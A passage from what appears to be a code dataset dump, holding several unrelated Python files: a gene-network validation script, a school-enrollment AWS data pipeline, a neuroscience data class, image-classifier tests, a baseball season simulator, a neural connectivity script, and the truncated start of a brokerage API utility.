{\n\t\t\t'rs34712979','rs1570221','rs7671261','rs7307510','rs8044657','rs9617650','rs7068966','rs4888379',\n\t\t\t'rs1334576','rs73158393','rs2571445','rs7958945','rs10929386','rs647097','rs646695','rs16825267',\n\t\t\t'rs13198656','rs1631199','rs13140176','rs3095329','rs2070600','rs56134392','rs9399401','rs4585380',\n\t\t\t'rs62191105','rs955277','rs2806356','rs11049386','rs721917','rs9329170','rs9350191','rs2579762',\n\t\t\t'rs12466981','rs72699855','rs72902175'\n\t\t}\n\t\tself.__load_chromosome_splitting__()\n\t\t\t\n\t\tself.__load_network__()\n\t\tself.__load_gene_ontology__()\n\t\tself.__precompute_shortest_path_distance__()\n\n\n\tdef __load_chromosome_splitting__(self,threshold = 100):\n\t\t\n\t\tpercentuage_files = [self.chromosome_splitting_dir_path + file for file in os.listdir(self.chromosome_splitting_dir_path) if file[0] != \".\" and \".tsv\" in file]\n\t\tself.map__percentuage__solutions = {}\n\t\t\n\t\tfor file in percentuage_files:\n\t\t\t\n\t\t\tcsv_reader = csv.reader(open(file,\"r\"),delimiter = \"\\t\")\n\t\t\t\n\t\t\tfor index, row in enumerate(csv_reader):\n\t\t\t\t\n\t\t\t\tif index == 0:\n\t\t\t\t\tcontinue\n\n\t\t\t\tif index > threshold:\n\t\t\t\t\tbreak\n\t\t\t\tpercenage = row[0].split(\"__\")[-3]\n\t\t\t\tsolution = set(row[-1].replace(\"{\",\"\").replace(\"}\",\"\").replace(\" \",\"\").replace(\"'\",\"\").split(\",\"))\n\t\t\t\t\n\t\t\t\tif percenage not in self.map__percentuage__solutions:\n\t\t\t\t\tself.map__percentuage__solutions[percenage] = []\n\n\t\t\t\tself.map__percentuage__solutions[percenage].append(solution)\n\n\t\treturn self.map__percentuage__solutions\n\t\n\n\tdef __load_solution__(self,file_path):\n\t\tsolution = set()\n\n\t\tcsv_reader = csv.reader(open(file_path, \"r\"), delimiter = \"\\t\")\n\n\t\tfor row in csv_reader:\n\t\t\tif row[0] in self.universe:\n\t\t\t\tsolution.add(row[0])\n\t\n\t\treturn solution\n\n\n\tdef __load_gene_ontology__(self,\n\t\tcurrent_domain = \"cellular_component\"\n\t):\n\n\t\tself.map__ensembl__id__ontologies = {}\n\n\t\twith open(self.ontology_file_path,'r') as fp:\n\t\t\tcsv_reader = csv.reader(fp, delimiter = \"\\t\")\n\t\t\t\n\t\t\tfor index,row in enumerate(csv_reader):\n\n\t\t\t\tif index == 0:\n\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\tgene_name = row[0]\n\t\t\t\tterm_id = row[1]\n\t\t\t\tdomain = row[3]\n\n\n\t\t\t\tif domain != current_domain:\n\t\t\t\t\tcontinue\n\n\t\t\t\tif gene_name not in self.map__ensembl__id__ontologies:\n\t\t\t\t\tself.map__ensembl__id__ontologies[gene_name] = set()\n\n\t\t\t\tself.map__ensembl__id__ontologies[gene_name].add(term_id)\n\n\tdef __load_locus_genes__(self,):\n\n\t\tself.map__locus__genes = {}\n\t\tself.map__gene__locus = {}\n\t\t\n\t\twith open(self.locus_gene_file_path, \"r\") as fp:\n\t\t\tcsv_reader = csv.reader(fp, delimiter = \"\\t\")\n\t\t\tfor row in csv_reader:\n\t\t\t\tgene_name = row[0]\n\t\t\t\tlocus = row[1]\n\n\t\t\t\tif locus not in self.map__locus__genes:\n\t\t\t\t\tself.map__locus__genes[locus] = set()\n\n\t\t\t\t\n\t\t\t\tself.map__locus__genes[locus].add(gene_name)\n\t\t\t\tself.map__gene__locus[gene_name] = locus\n\n\n\t\tself.universe = set(self.map__gene__locus.keys())\n\n\tdef __load_network__(self,has_header = True):\n\n\t\tself.G = nx.Graph()\n\n\t\twith open(self.network_file_path, \"r\") as fp:\n\t\t\tcsv_reader = csv.reader(fp, delimiter = \"\\t\")\n\t\t\t\n\t\t\tfor index,row in enumerate(csv_reader):\n\t\t\t\t\n\t\t\t\tif has_header and index == 0:\n\t\t\t\t\tcontinue\n\n\t\t\t\tsource = row[0]\n\t\t\t\ttarget = row[1]\n\n\t\t\t\tself.G.add_edge(source, target)\n\n\t\treturn self.G\n\n\n\tdef __precompute_shortest_path_distance__(self):\n\t\t\n\t\tuniverse = set(self.map__gene__locus.keys())\n\t\tself.map__node__pair__sp_l = {}\n\n\t\tfor index,i in enumerate(universe):\n\t\t\tfor j in universe:\n\t\t\t\t\n\t\t\t\ttry:\n\t\t\t\t\tsp_l = nx.shortest_path_length(self.G, source=i, target=j)\n\t\t\t\t\tself.map__node__pair__sp_l[(i,j)] = sp_l\n\t\t\t\t\t\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\n\tdef __create_random_solution__(self,):\n\t\t\n\t\trandom_solution_even = set()\n\t\trandom_solution_odd = set()\n\n\t\tfor locus,genes in self.map__locus__genes.items():\n\t\t\trandom_gene = random.sample(genes,1)[0]\n\n\t\t\tif locus in self.odd_loci:\n\t\t\t\trandom_solution_odd.add(random_gene)\n\n\t\t\tif locus in self.even_loci:\n\t\t\t\trandom_solution_even.add(random_gene)\n\n\t\treturn random_solution_odd, random_solution_even\n\n\n\tdef __create_random_solution_all_algorithm__(self, odd_size, even_size):\n\n\t\todd_genes = set()\n\t\teven_genes = set()\n\n\t\trandom_solution_odd = set()\n\t\trandom_solution_even = set()\n\t\t\n\t\tfor locus in self.odd_loci:\n\t\t\todd_genes = odd_genes.union(self.map__locus__genes[locus])\n\n\t\tfor locus in self.even_loci:\n\t\t\teven_genes = even_genes.union(self.map__locus__genes[locus])\n\t\t\t\n\t\trandom_solution_odd = set(random.sample(odd_genes,odd_size))\n\n\t\trandom_solution_even = set(random.sample(even_genes,even_size))\n\n\t\t\t\t\n\t\treturn random_solution_odd, random_solution_even\n\n\n\n\tdef __get_sp_dist_between_set__(self, set_1, set_2):\n\n\t\tsize = 0\n\t\tmean = 0.0\n\t\ttotal_size = 0\n\t\tfor node_1 in set_1:\n\t\t\t\n\t\t\tfor node_2 in set_2:\n\t\t\t\t\n\t\t\t\tif (node_1, node_2) in self.map__node__pair__sp_l:\n\t\t\t\t\t\n\t\t\t\t\tmean += self.map__node__pair__sp_l[node_1, node_2]\n\t\t\t\t\ttotal_size += 1\n\t\t\t\t\n\n\t\tif total_size != 0:\n\t\t\tmean = mean/total_size\n\t\telse:\n\t\t\tmean = 6\n\t\t\n\t\treturn mean\n\n\tdef __get_network_proximity__(self,set_1, set_2):\n\n\t\n\t\ts_a_b = self.__get_sp_dist_between_set__( set_1, set_2)\n\t\ts_a_a = self.__get_sp_dist_between_set__( set_1, set_1)\n\t\ts_b_b = self.__get_sp_dist_between_set__( set_2, set_2)\n\n\t\treturn s_a_b - (s_a_a + s_b_b)/2\n\n\tdef __BMA__(self, set_1, set_2):\n\t\n\t\tset_1_scores = []\n\t\tset_2_scores = []\n\n\t\t#\n\t\tmap__biological_processes = {}\n\n\t\tfor item_1 in set_1:\n\t\t\tmax_score = 0.0\n\t\t\t\n\t\t\tfor item_2 in set_2:\n\n\t\t\t\tif item_1 in self.map__ensembl__id__ontologies and item_2 in self.map__ensembl__id__ontologies:\n\n\t\t\t\t\tintersection = len(self.map__ensembl__id__ontologies[item_1].intersection(self.map__ensembl__id__ontologies[item_2]))\n\t\t\t\t\tunion = len(self.map__ensembl__id__ontologies[item_1].union(self.map__ensembl__id__ontologies[item_2]))\n\n\t\t\t\t\tscore = intersection/union\n\n\t\t\t\t\tif score > max_score:\n\t\t\t\t\t\t\n\t\t\t\t\t\tmax_score = score\n\n\n\t\t\tset_1_scores.append(max_score)\n\n\t\tfor item_1 in set_2:\n\t\t\tmax_score = 0.0\n\n\t\t\tfor item_2 in set_1:\n\n\t\t\t\tif item_1 in self.map__ensembl__id__ontologies and item_2 in self.map__ensembl__id__ontologies:\n\n\t\t\t\t\tintersection = len(self.map__ensembl__id__ontologies[item_1].intersection(self.map__ensembl__id__ontologies[item_2]))\n\t\t\t\t\tunion = len(self.map__ensembl__id__ontologies[item_1].union(self.map__ensembl__id__ontologies[item_2]))\n\n\t\t\t\t\tscore = intersection/union\n\n\t\t\t\t\tif score > max_score:\n\t\t\t\t\t\tmax_score = score\n\n\t\t\tset_2_scores.append(max_score)\n\n\n\t\tsum_1 = sum(set_1_scores)\n\t\tsum_2 = sum(set_2_scores)\n\n\n\n\t\treturn 0.5*(sum_1/len(set_1) + sum_2/len(set_2))\n\n\tdef __compute_pval_biological_similarity__(self,alg,even,odd,trial = 100):\n\t\t\n\t\tbma = self.__BMA__( even, odd)\n\t\tcounter = 0\n\t\ttable = []\n\t\t\n\t\tfor i in range(trial):\n\n\t\t\tif alg != \"RMA\":\n\t\t\t\trandom_solution_odd, random_solution_even = self.__create_random_solution_all_algorithm__(len(odd),len(even))\n\t\t\telse:\n\t\t\t\trandom_solution_odd, random_solution_even = self.__create_random_solution__()\n\n\t\t\tbma_i = self.__BMA__( random_solution_even, random_solution_odd)\n\n\t\t\ttable.append([alg,bma_i])\n\n\t\t\tif bma_i > bma:\n\t\t\t\tcounter += 1\n\n\t\tprint(\"p_val distance between odd and even\", alg,counter / trial)\n\t\tp_val = counter / trial\n\t\treturn table, bma, p_val\n\n\n\tdef __compute_pval_network_proximity__(self,alg,even,odd,trial = 100):\n\t\t\n\t\tphi = self.__get_network_proximity__( even, odd)\n\t\t\n\t\tcounter = 0\n\t\ttable = []\n\n\t\tfor i in range(trial):\n\t\t\tif alg != \"RMA\":\n\t\t\t\trandom_solution_odd, random_solution_even = self.__create_random_solution_all_algorithm__(len(odd),len(even))\n\t\t\telse:\n\t\t\t\trandom_solution_odd, random_solution_even = self.__create_random_solution__()\n\t\t\t\n\t\t\tphi_i = self.__get_network_proximity__( random_solution_odd, random_solution_even)\n\t\t\ttable.append([alg,phi_i])\n\n\t\t\tif phi_i < phi:\n\t\t\t\tcounter += 1\n\n\t\tprint(\"p_val distance between odd and even\", alg,counter / trial)\n\n\t\tp_val = counter / trial\n\t\treturn table, phi, p_val\n\n\t\t\t\n\n\tdef run(self,):\n\t\t\n\t\tbmas = []\n\t\tbmas_r = []\n\t\tbmas_pvals = []\n\n\t\tnet_prox = []\n\t\tnet_prox_r = []\n\t\tnet_prox_pvals = []\n\t\tfor alg, solutions in self.map__algorithm__solution.items():\n\t\t\teven,odd = solutions\n\t\t\t\n\t\t\tdf, phi,p_val = self.__compute_pval_network_proximity__(alg,even,odd)\n\t\t\tnet_prox.extend(df)\n\t\t\tnet_prox_r.append([alg,phi])\n\t\t\tnet_prox_pvals.append([alg,p_val])\n\n\t\t\tdf, phi,p_val = self.__compute_pval_biological_similarity__(alg,even,odd)\n\t\t\tbmas.extend(df)\n\t\t\tbmas_r.append([alg,phi])\n\t\t\tbmas_pvals.append([alg, p_val])\n\n\n\t\tpd.DataFrame(bmas,columns = [\"Algorithm\",\"Score\"]).to_csv(self.validation_dir_path + \"bma_distribution.tsv\", sep = \"\\t\")\n\t\tpd.DataFrame(bmas_r,columns = [\"Algorithm\",\"Score\"]).to_csv(self.validation_dir_path + \"bma_values.tsv\", sep = \"\\t\")\n\t\tpd.DataFrame(bmas_pvals,columns = [\"Algorithm\",\"p_val\"]).to_csv(self.validation_dir_path + \"bma_p_values.tsv\", sep = \"\\t\")\n\n\t\tpd.DataFrame(net_prox,columns = [\"Algorithm\",\"Score\"]).to_csv(self.validation_dir_path + \"network_proximity_distribution.tsv\", sep = \"\\t\")\n\t\tpd.DataFrame(net_prox_r,columns = [\"Algorithm\",\"Score\"]).to_csv(self.validation_dir_path + \"network_proximity_values.tsv\", sep = \"\\t\")\n\t\tpd.DataFrame(net_prox_pvals,columns = [\"Algorithm\",\"p_val\"]).to_csv(self.validation_dir_path + \"network_proximity_p_values.tsv\", sep = \"\\t\")\n\n\tdef run_chromosome_splitting(self,):\n\t\tsolution = self.__load_solution__(self.solution_without_missing_information_file_path)\n\t\ttable_1 = []\n\t\ttable_2 = []\n\t\t\n\t\tfor parcentage, solutions in self.map__percentuage__solutions.items():\n\n\t\t\tfor index, current_solution in enumerate(solutions):\n\t\t\t\n\t\t\t\tJC = len(solution.intersection(current_solution))/len(solution.union(current_solution))\n\t\t\t\t\n\t\t\t\tphi_network_proximity = self.__get_network_proximity__( solution, current_solution)\n\t\t\t\tphi_biological_similarity = self.__BMA__(solution, current_solution)\n\t\t\t\t\n\t\t\t\tprint(parcentage,JC)\n\n\t\t\t\ttable_1.append([parcentage + \"%\", phi_network_proximity])\n\t\t\t\ttable_2.append([parcentage + \"%\", phi_biological_similarity])\n\t\t\t\t\n\t\tpd.DataFrame(table_1,columns = [\"Percentage of remaining SNPs\",\"Network Distance\"]).to_csv(self.validation_dir_path + \"network_distance_distribution_missing_data.tsv\", sep = \"\\t\")\n\n\t\tpd.DataFrame(table_2,columns = [\"Percentage of remaining SNPs\",\"Biological Similarity\"]).to_csv(self.validation_dir_path +\"bma_distribution_missing_data.tsv\" , sep = \"\\t\")\n\t\t\novse = OddVsEven(\n\n\tdisease_experiment_dir_path = \"../../experiments/missing_data/\",\n\tsolution_without_missing_information_file_path = \"../../experiments/algorithm_comparison/algorithms/RMA/solution.txt\", \n\tnetwork_file_path = \"../../datasets/PPI_network/network.tsv\",\n\tontology_file_path = \"../../datasets/curated_db/GO_10_02_2021.txt\",\n\tlocus_gene_file_path = \"../../datasets/GWAS/unbiased_copd_snp_database.txt\",\n\tfilter_ = []\n)\novse.run()\novse.run_chromosome_splitting()","repo_name":"LeoM93/DiseaseGenePrioritizationAtRiskLoci","sub_path":"evaluation/computational_validation/odd_vs_even.py","file_name":"odd_vs_even.py","file_ext":"py","file_size_in_byte":12610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5496500320","text":"# This script merges non-NDA data with school and grade information, along with the total count of new admissions\n# for the respective year, resulting in the creation of an integrated dataset.\n\nimport sys\nimport json\nimport os\nimport boto3\nimport subprocess\nimport botocore\nimport shutil\nimport pandas as pd\nimport copy\n\n# Set up AWS S3 client and bucket name\nbucket_name = 'higley-input-bucket'\nfile_name = 'student_enrollments.csv'\nnon_nda_filename = 'non_nda_dataset.csv'\n\n\ns3_client = boto3.client('s3')\n\ndef download_file(file_name):\n \"\"\"\n Download file from AWS S3 bucket\n \"\"\"\n try:\n path = '/tmp/' + file_name\n s3_client.download_file(bucket_name, file_name, path)\n return path\n except botocore.exceptions.ClientError as e:\n if e.response['Error']['Code'] == \"404\":\n print(\"The object does not exist.\")\n else:\n raise\n\n# Download required files\nfiles_path = download_file(file_name)\nnon_nda_files_path = download_file(non_nda_filename)\n\n# Process student enrollments\ntarget_file = 'new_intakes_by_school_raw.csv'\nenrollment = pd.read_csv(files_path)\nyears = {}\nenrollment_data = {}\nenrollment_data['STUDENT_PERSON_GU'] = []\nenrollment_data['SCHOOL_YEAR'] = []\nenrollment_data['SCHOOL'] = []\nenrollment_data['GRADE'] = []\nfor index, row in enrollment.iterrows():\n student_name = enrollment['STUDENT_PERSON_GU'][index]\n year = enrollment['SCHOOL_YEAR'][index]\n school = enrollment['SCHOOL'][index]\n grade = enrollment['GRADE'][index]\n if year not in years:\n years[year] = set()\n if student_name not in years[year]:\n years[year].add(student_name)\n enrollment_data['STUDENT_PERSON_GU'].append(student_name)\n enrollment_data['SCHOOL_YEAR'].append(year)\n enrollment_data['SCHOOL'].append(school)\n enrollment_data['GRADE'].append(grade)\nenrollment_data = pd.DataFrame(enrollment_data)\nstudent_data = {}\n# Extract relevant data from student enrollments\nfor index, row in enrollment_data.iterrows():\n student_name = enrollment_data['STUDENT_PERSON_GU'][index]\n year = enrollment_data['SCHOOL_YEAR'][index]\n school = enrollment_data['SCHOOL'][index]\n grade = enrollment_data['GRADE'][index]\n if year not in student_data:\n student_data[year] = {}\n if grade not in student_data[year]:\n student_data[year][grade] = {}\n if school not in student_data[year][grade]:\n student_data[year][grade][school] = set()\n student_data[year][grade][school].add(student_name)\nschool_map = {\n 'KG': 'PS',\n '01': 'KG',\n '02': '01',\n '03': '02',\n '04': '03',\n '05': '04',\n '06': '05',\n '07': '06',\n '08': '07',\n '09': '08',\n '10': '09',\n '11': '10',\n '12': '11'\n}\nschool_list = []\nfor index, row in enrollment.iterrows():\n school_name = enrollment['SCHOOL'][index]\n if school_name not in school_list:\n school_list.append(school_name)\n\nminimum_year = min(list(enrollment_data['SCHOOL_YEAR']))\nmaximum_year = max(list(enrollment_data['SCHOOL_YEAR']))\nprint(minimum_year, maximum_year)\n\nyears_list = list(range(minimum_year + 1, maximum_year + 1))\ngrades = ['KG', '01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12']\nresult = {}\n# Initialize result dictionary\nfor year in years_list:\n for grade in grades:\n for school in school_list:\n if year not in result:\n result[year] = {}\n if grade not in result[year]:\n result[year][grade] = {}\n if school not in result[year][grade]:\n result[year][grade][school] = 0\n# Calculate new intakes by school\nfor current_year in range(minimum_year + 1, maximum_year + 1):\n for current_grade in student_data[current_year]:\n for current_school in student_data[current_year][current_grade]:\n current_set = student_data[current_year][current_grade][current_school]\n previous_year = current_year - 1\n if current_grade in school_map:\n previous_grade = school_map[current_grade]\n for previous_school in student_data[previous_year][previous_grade]:\n previous_set = student_data[previous_year][previous_grade][previous_school]\n current_set = current_set.difference(previous_set)\n result[current_year][current_grade][current_school] = len(current_set)\nnew_result = {}\nnew_result['Year'] = []\nnew_result['Grade'] = []\nnew_result['School'] = []\nnew_result['New_Intake'] = []\n# Prepare new result dictionary for output\nfor year in years_list:\n for grade in grades:\n for school in school_list:\n new_result['Year'].append(year)\n new_result['Grade'].append(grade)\n new_result['School'].append(school)\n new_result['New_Intake'].append(result[year][grade][school])\ndf = pd.DataFrame(new_result)\n# Prepare modelling data for correlation analysis\nmodelling_data = pd.read_csv(non_nda_files_path)\ncorrelation_matrix = modelling_data.corr()\ncolumn_of_interest = 'Enrollments_Count'\ncolumns_above_threshold = correlation_matrix.loc[:, correlation_matrix[column_of_interest] > 0.7].columns.tolist()\nmodelling_data = modelling_data[columns_above_threshold]\nmodelling_data = modelling_data.drop(column_of_interest, axis=1)[modelling_data['Year'] >= 2011]\ndata = pd.merge(modelling_data, df, on='Year', how='inner')\ntarget_path = '/tmp/' + target_file\ndata.to_csv(target_path, index=False)\ns3_client.upload_file(target_path, bucket_name, target_file)\n\n# New Intakes\ntarget_file = 'new_intakes_raw.csv'\nenrollment_data = copy.deepcopy(enrollment)\nstudent_transfers = {}\n# Process student transfers\nfor index, row in enrollment_data.iterrows():\n year = enrollment_data['SCHOOL_YEAR'][index]\n student_name = enrollment_data['STUDENT_PERSON_GU'][index]\n grade = enrollment_data['GRADE'][index]\n if grade != 'KG' and grade != 'PS':\n grade = int(enrollment_data['GRADE'][index])\n if year not in student_transfers:\n student_transfers[year] = {}\n student_transfers[year]['PS'] = set()\n student_transfers[year]['KG'] = set()\n for j in range(1, 13):\n student_transfers[year][j] = set()\n student_transfers[year][grade].add(student_name)\ntransfers = dict(sorted(student_transfers.items()))\ndf = pd.DataFrame.from_dict(transfers)\ndf = df.fillna(0)\ndf = df.transpose()\ndf = df.reset_index()\ndf = df.rename(columns={'index': 'YEAR'})\nnew_df = df.copy()\nnew_df = new_df.drop('YEAR', axis=1)\nyears_length = len(new_df)\ngrades_length = len(new_df.columns)\ntransfers = [[{'old_total': 0, 'new_total': 0, 'repeated': 0, 'new_intake': 0, 'dropout': 0} for _ in range(grades_length)] for _ in range(years_length)]\nfor i in range(years_length):\n for j in range(grades_length):\n if i + 1 not in range(years_length) or j + 1 not in range(grades_length):\n break\n else:\n new_i = i + 1\n new_j = j + 1\n batch_a = new_df.iloc[i, j]\n batch_b = new_df.iloc[new_i, new_j]\n repeat = batch_b.intersection(batch_a)\n intake = batch_b.difference(batch_a)\n discontinue = batch_a.difference(batch_b)\n transfers[new_i][new_j]['old_total'] = len(batch_a)\n transfers[new_i][new_j]['new_total'] = len(batch_b)\n transfers[new_i][new_j]['repeated'] = len(repeat)\n transfers[new_i][new_j]['new_intake'] = len(intake)\n transfers[new_i][new_j]['dropout'] = len(discontinue)\ntransfer_df = pd.DataFrame(transfers, columns=new_df.columns)\ntransfer_df.index = df['YEAR']\ntransfer_df = transfer_df.reset_index()\nintakes_list = []\ndropouts_list = []\nrepeat_list = []\n\n# Calculate overall transfer statistics\nfor index, row in transfer_df.iterrows():\n intakes = 0\n dropouts = 0\n repeats = 0\n for stats in row[1:]:\n intakes += stats['new_intake']\n dropouts += stats['dropout']\n repeats += stats['repeated']\n intakes_list.append(intakes)\n dropouts_list.append(dropouts)\n repeat_list.append(repeats)\ntransfer_df['INTAKES'] = intakes_list\ntransfer_df['DROPOUTS'] = dropouts_list\ntransfer_df['REPEAT'] = repeat_list\nmodelling_data = pd.read_csv(non_nda_files_path)\ncorrelation_matrix = modelling_data.corr()\ncolumn_of_interest = 'Enrollments_Count'\ncolumns_above_threshold = correlation_matrix.loc[:, correlation_matrix[column_of_interest] > 0.7].columns.tolist()\ntransfer_df = transfer_df[['YEAR', 'INTAKES', 'DROPOUTS', 'REPEAT']]\nmodelling_data = modelling_data[columns_above_threshold]\nmodelling_data = modelling_data.drop(column_of_interest, axis=1)[modelling_data['Year'] >= 2011]\nmodelling_data = modelling_data.rename(columns={'Year': 'YEAR'})\ndata = pd.merge(modelling_data, transfer_df, on='YEAR', how='inner')\ntarget_path = '/tmp/' + target_file\ndata.to_csv(target_path, index=False)\ns3_client.upload_file(target_path, bucket_name, target_file)\n","repo_name":"ASUCICREPO/Higley-School-Enrollments","sub_path":"backend/glue/new-intakes transformation.py","file_name":"new-intakes transformation.py","file_ext":"py","file_size_in_byte":8951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71650024547","text":"\"\"\" Create a recording modality Class \"\"\"\n\nfrom dataclasses import dataclass\nimport os\nfrom dataclasses import field\nimport pandas as pd\nfrom numpy import array\nimport warnings\n\n# import own functions\nimport PerceiveImport.methods.load_rawfile as load_rawfile\nfrom PerceiveImport.methods.extract_chronic_timeline_samples import extract_chronic_from_JSON_list\n\n\n\n@dataclass (init=True, repr=True)\nclass Chronic:\n \"\"\"\n BrainSense recording modality Class for Chronic Data\n this is a separatae class since its functionality is different\n then the other modalities.\n For Chronic: all available data recorded in all extracted JSON-\n files are combined into one data class. \n \n parameters:\n - sub: e.g. \"021\"\n - modality: \"survey\", \"streaming\", \"timeline\", \"indefiniteStreaming\"\n - metaClass: all original attributes set in Main_Class\n - meta_table: modality selected meta_table set in Main_Class\n\n Returns:\n - sel_meta_table: session selected meta_table \n \n \"\"\"\n sub: str\n metaClass: any\n meta_table: pd.DataFrame = field(default_factory=lambda: pd.DataFrame())\n use_json_file: bool = True\n use_mat_file: bool = False\n search_all_jsons: bool = True\n\n def __post_init__(self,):\n # suppress RuntimeWarning\n warnings.simplefilter(action='ignore', category=RuntimeWarning)\n\n if self.search_all_jsons:\n json_files = load_rawfile.find_all_present_jsons(self.sub)\n\n else:\n json_files = self.meta_table['report']\n\n setattr(self, 'json_files_list', json_files)\n\n # import json (direct Percept output) if defined\n if self.use_json_file:\n # add content of all jsons\n chronic_df = extract_chronic_from_JSON_list(self.sub, json_files)\n \n setattr(self, 'data', chronic_df) \n\n # import mat-file (result of Perceive) if defined\n elif self.use_mat_file:\n mat_files = self.meta_table['perceiveFilename']\n for matfile in mat_files:\n try:\n # load with mne.read_raw_fieldtrip()\n mne_raw = load_rawfile.load_matfile(self.sub, matfile)\n print(mne_raw)\n\n except:\n print(f'{matfile} FAILED')\n\n\n","repo_name":"jgvhabets/PyPerceive","sub_path":"code/PerceiveImport/classes/chronic_class.py","file_name":"chronic_class.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"5360679532","text":"import os.path\n\nimport pytest\nfrom hbutils.testing import tmatrix\n\nfrom imgutils.validate.monochrome import get_monochrome_score, is_monochrome, _monochrome_validate_model\n\n\n@pytest.fixture(scope='module', autouse=True)\ndef _release_model_after_run():\n try:\n yield\n finally:\n _monochrome_validate_model.cache_clear()\n\n\ndef get_samples():\n return [\n ('monochrome', '6130053.jpg'),\n ('monochrome', '6125854(第 3 个复件).jpg'),\n ('monochrome', '5221834.jpg'),\n ('monochrome', '1951253.jpg'),\n ('monochrome', '4879658.jpg'),\n ('monochrome', '80750471_p3_master1200.jpg'),\n\n ('normal', '54566940_p0_master1200.jpg'),\n ('normal', '60817155_p18_master1200.jpg'),\n ('normal', '4945494.jpg'),\n ('normal', '4008375.jpg'),\n ('normal', '2416278.jpg'),\n ('normal', '842709.jpg')\n ]\n\n\n@pytest.mark.unittest\nclass TestValidateMonochrome:\n @pytest.mark.parametrize(*tmatrix({\n ('type_', 'file'): get_samples(),\n ('model', 'safe'): [\n ('caformer_s36', False),\n ('caformer_s36', True),\n ('mobilenetv3', False),\n ('mobilenetv3', True),\n ('mobilenetv3_dist', False),\n ('mobilenetv3_dist', True),\n ],\n }))\n def test_monochrome_test(self, type_: str, file: str, model: str, safe: bool):\n filename = os.path.join('test', 'testfile', 'dataset', 'monochrome_danbooru', type_, file)\n if type_ == 'monochrome':\n assert get_monochrome_score(filename, model=model, safe=safe) >= 0.5\n assert is_monochrome(filename, model=model, safe=safe)\n else:\n assert get_monochrome_score(filename, model=model, safe=safe) <= 0.5\n assert not is_monochrome(filename, model=model, safe=safe)\n\n def test_monochrome_test_with_unknown_safe(self):\n with pytest.raises(ValueError):\n _ = get_monochrome_score(\n os.path.join('test', 'testfile', 'dataset', 'monochrome_danbooru', 'normal', '2475192.jpg'),\n model='Model not found',\n )\n","repo_name":"deepghs/imgutils","sub_path":"test/validate/test_monochrome.py","file_name":"test_monochrome.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"70"} +{"seq_id":"22159371761","text":"from sklearn.metrics import confusion_matrix\n\ndef simulate_season(team, year):\n player_registry = PlayerRegistry()\n player_registry.load_from_lahman()\n schedule = get_schedule(team, year)\n schedule.reset_index(drop=True, inplace=True)\n lineups = get_lineups(year)\n rotation = get_rotation(year)\n outcomes = np.empty(schedule.shape[0], dtype='object')\n #print(schedule)\n for i in range(schedule.shape[0]): \n #print(i)\n team = schedule.Tm[i]\n opp = schedule.Opp[i]\n #print(team)\n #print(opp)\n \n team_lineup = lineups.players[lineups.team == team]\n team_lineup = team_lineup.to_list()[0]\n \n team_pitchers = rotation.players[rotation.team == team]\n team_pitchers = team_pitchers.to_list()[0]\n \n # print(opp)\n opp_lineup = lineups.players[lineups.team == opp]\n opp_lineup = opp_lineup.to_list()[0]\n \n opp_pitchers = rotation.players[rotation.team == opp]\n opp_pitchers = opp_pitchers.to_list()[0]\n \n while outcomes[i] == None:\n \n lineup = initialize_lineup()\n for j in range(9):\n # print(i)\n batter = team_lineup[j]\n try:\n batter_object = player_registry.registry[batter]\n lineup = update_lineup(lineup, j, batter_object)\n except:\n pass\n team_outcome = return_mean_runs(batters = team_lineup, starter = team_pitchers[0:1], relievers = team_pitchers[1:4], starter_innings = 6)\n \n lineup = initialize_lineup()\n #print(opp_lineup)\n for j in range(9):\n # print(i)\n batter = opp_lineup[j]\n try:\n batter_object = player_registry.registry[batter]\n lineup = update_lineup(lineup, j, batter_object)\n except:\n pass\n opp_outcome = return_mean_runs(batters = opp_lineup, starter = opp_pitchers[0:1], relievers = opp_pitchers[1:4], starter_innings = 6)\n \n if (team_outcome > opp_outcome):\n outcomes[i] = \"W\"\n elif (team_outcome < opp_outcome):\n outcomes[i] = \"L\"\n if i % 10 == 0:\n print(\"Sample simulated outcome: \" + str(team) + \": \" + str(team_outcome) + \" vs. \" + str(opp) + \": \" + str(opp_outcome))\n print(outcomes)\n print(confusion_matrix(y_true = schedule[\"W/L\"], y_pred = outcomes))\n","repo_name":"sta693-fa22/Baseball_Simulation","sub_path":"simulate_season.py","file_name":"simulate_season.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"31183504082","text":"\nimport numpy as np\nimport sys\nfrom copy import deepcopy\nfrom pprint import pprint\n\ncells = ['pyramidalcell', 'axoaxoniccell', 'bistratifiedcell', 'pvbasketcell', 'cckcell', \n 'ngfcell', 'ivycell', 'olmcell', 'scacell', 'ca3cell', 'eccell']\ncell_numbers = [311500, 1470, 2210, 5530, 3600, 3580, 8810, 1640, 400, 204700, 250000]\n\ninfo = {}\n\n\ndef read_and_parse(filename):\n f = open(filename, 'r')\n lcount = 0\n for line in f.readlines():\n if lcount != 0:\n line = line.strip('\\n')\n pre, post, wgt, ncons, nsyns = line.split(' ')\n \n if pre not in info: \n info[pre] = {}\n if post not in info:\n info[post] = {}\n val = float(ncons) / cell_numbers[cells.index(post)] * float(nsyns)\n info[post][pre] = val\n lcount += 1\n f.close()\n\n total_incoming = {c: 0 for c in cells}\n fraction = deepcopy(info)\n for cell in cells:\n for pre in list(info[cell].keys()):\n total_incoming[cell] += info[cell][pre]\n for pre in list(info[cell].keys()):\n fraction[cell][pre] /= float(total_incoming[cell])\n pprint(total_incoming)\n pprint(fraction)\n\n\nfilename = sys.argv[1]\nread_and_parse(filename)\n\n","repo_name":"soltesz-lab/ca1","sub_path":"config/conv_calculation.py","file_name":"conv_calculation.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"28776002504","text":"import json\nfrom td.client import TDClient\n\nclass AmeritradeRebalanceUtils:\n\n def __init__(self):\n self.session = None\n self.account = None\n self.account_id = None\n\n def auth(self, credentials_path='./td_state.json', client_path='./td_client_auth.json'):\n with open(client_path) as 